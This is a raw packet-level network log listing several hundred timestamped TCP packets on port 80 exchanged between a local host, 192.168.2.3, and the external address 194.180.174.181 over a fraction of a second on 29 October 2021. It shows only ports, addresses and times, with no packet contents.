Oct 29, 2021 14:10:53.209672928 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209712029 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209749937 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209785938 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209822893 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209872007 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209889889 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.209911108 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209934950 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.209940910 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.209950924 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209989071 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210022926 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210031986 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210072041 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210077047 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210109949 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210148096 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210185051 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210216999 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210223913 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210226059 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210266113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210303068 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210340023 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210377932 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210414886 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210422039 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210432053 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210479975 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210517883 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210553885 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210566998 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210573912 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210592985 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210632086 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210670948 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210711002 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210742950 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210748911 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210752010 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210788012 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210825920 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210863113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210870981 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210879087 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.210901976 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210939884 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.210979939 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211019039 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211034060 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211042881 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211057901 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211097002 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211134911 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211172104 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211199045 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211206913 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211210012 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211249113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211287975 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211328030 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211328983 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211335897 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211366892 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211405993 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211443901 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211481094 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211493969 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211503029 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211519957 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211556911 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211596012 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211635113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211666107 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211671114 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211674929 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211709976 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211746931 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211782932 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211791992 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211800098 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211821079 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211858988 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211883068 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.211896896 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211935997 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.211971998 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212022066 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212037086 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212045908 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212061882 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212097883 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212135077 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212172985 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212181091 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212189913 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212210894 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212249994 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212285995 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212321997 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212321997 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212330103 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212362051 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212398052 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212435961 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212471962 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212485075 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212493896 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212511063 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212517977 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212549925 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212585926 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212622881 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212661028 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212668896 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212677002 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212697983 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212735891 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212773085 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212810993 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212816954 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212826014 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.212872982 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212920904 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212955952 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.212994099 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213010073 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213017941 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213033915 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213069916 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213105917 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213141918 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213150978 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213157892 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213186979 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213226080 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213260889 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213298082 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213306904 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213315964 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213335991 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213372946 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213409901 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213447094 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213459969 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213469028 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213485003 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213525057 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213541031 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213546991 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213561058 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213598967 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213635921 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213671923 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213685036 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213694096 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213710070 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213747025 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213784933 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213823080 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213839054 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213852882 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213860035 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213898897 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213936090 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213972092 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.213987112 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.213998079 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214010954 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214051008 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214088917 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214127064 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214143038 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214149952 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214163065 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214200974 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214215040 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214221954 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214237928 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214273930 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214287043 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214296103 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214312077 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214349031 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214364052 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214371920 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214386940 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214401960 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214426994 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214462996 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214476109 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214485884 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214502096 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214507103 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214540958 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214576960 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214595079 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214603901 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214615107 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214638948 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214657068 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214670897 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214695930 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214701891 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214736938 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214772940 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214788914 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214804888 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214811087 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214814901 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214848995 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214864969 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214886904 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214901924 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214926004 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214963913 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.214979887 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.214991093 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.215003014 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.215025902 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.215055943 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.215925932 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261573076 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261620998 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261682987 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261687040 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261723995 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261764050 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261775017 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261800051 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261816978 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261840105 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261856079 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261862993 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261878967 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261919022 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261931896 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261941910 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261959076 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.261981010 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.261996984 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262026072 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262037039 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262089968 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262099981 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262125969 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262193918 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262217045 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262264013 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262294054 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262324095 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262351036 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262361050 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262362003 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262401104 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262418032 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262428999 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262439013 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262478113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262516975 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262517929 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262546062 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262554884 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262593031 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262612104 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262624025 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262630939 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262666941 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262692928 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262703896 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262717962 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262727022 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262742043 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262762070 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262779951 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262818098 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262834072 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262855053 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262862921 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262871981 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262892962 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262929916 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.262931108 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262969017 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.262972116 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263005972 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263035059 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263044119 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263047934 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263087034 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263143063 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263150930 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263191938 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263227940 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263228893 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263237953 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263245106 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263267994 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263304949 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263319969 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263340950 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263379097 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263382912 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263394117 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263417006 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263427019 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263473034 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263516903 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263523102 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263533115 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263572931 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263609886 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263622046 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263628960 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263647079 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263691902 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263695955 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263701916 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263741016 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263777971 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263793945 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263803005 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263817072 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263855934 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263870955 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263880014 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263894081 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263931036 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263946056 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263953924 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.263968945 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.263982058 CEST	50078	80	192.168.2.3	194.180.174.181
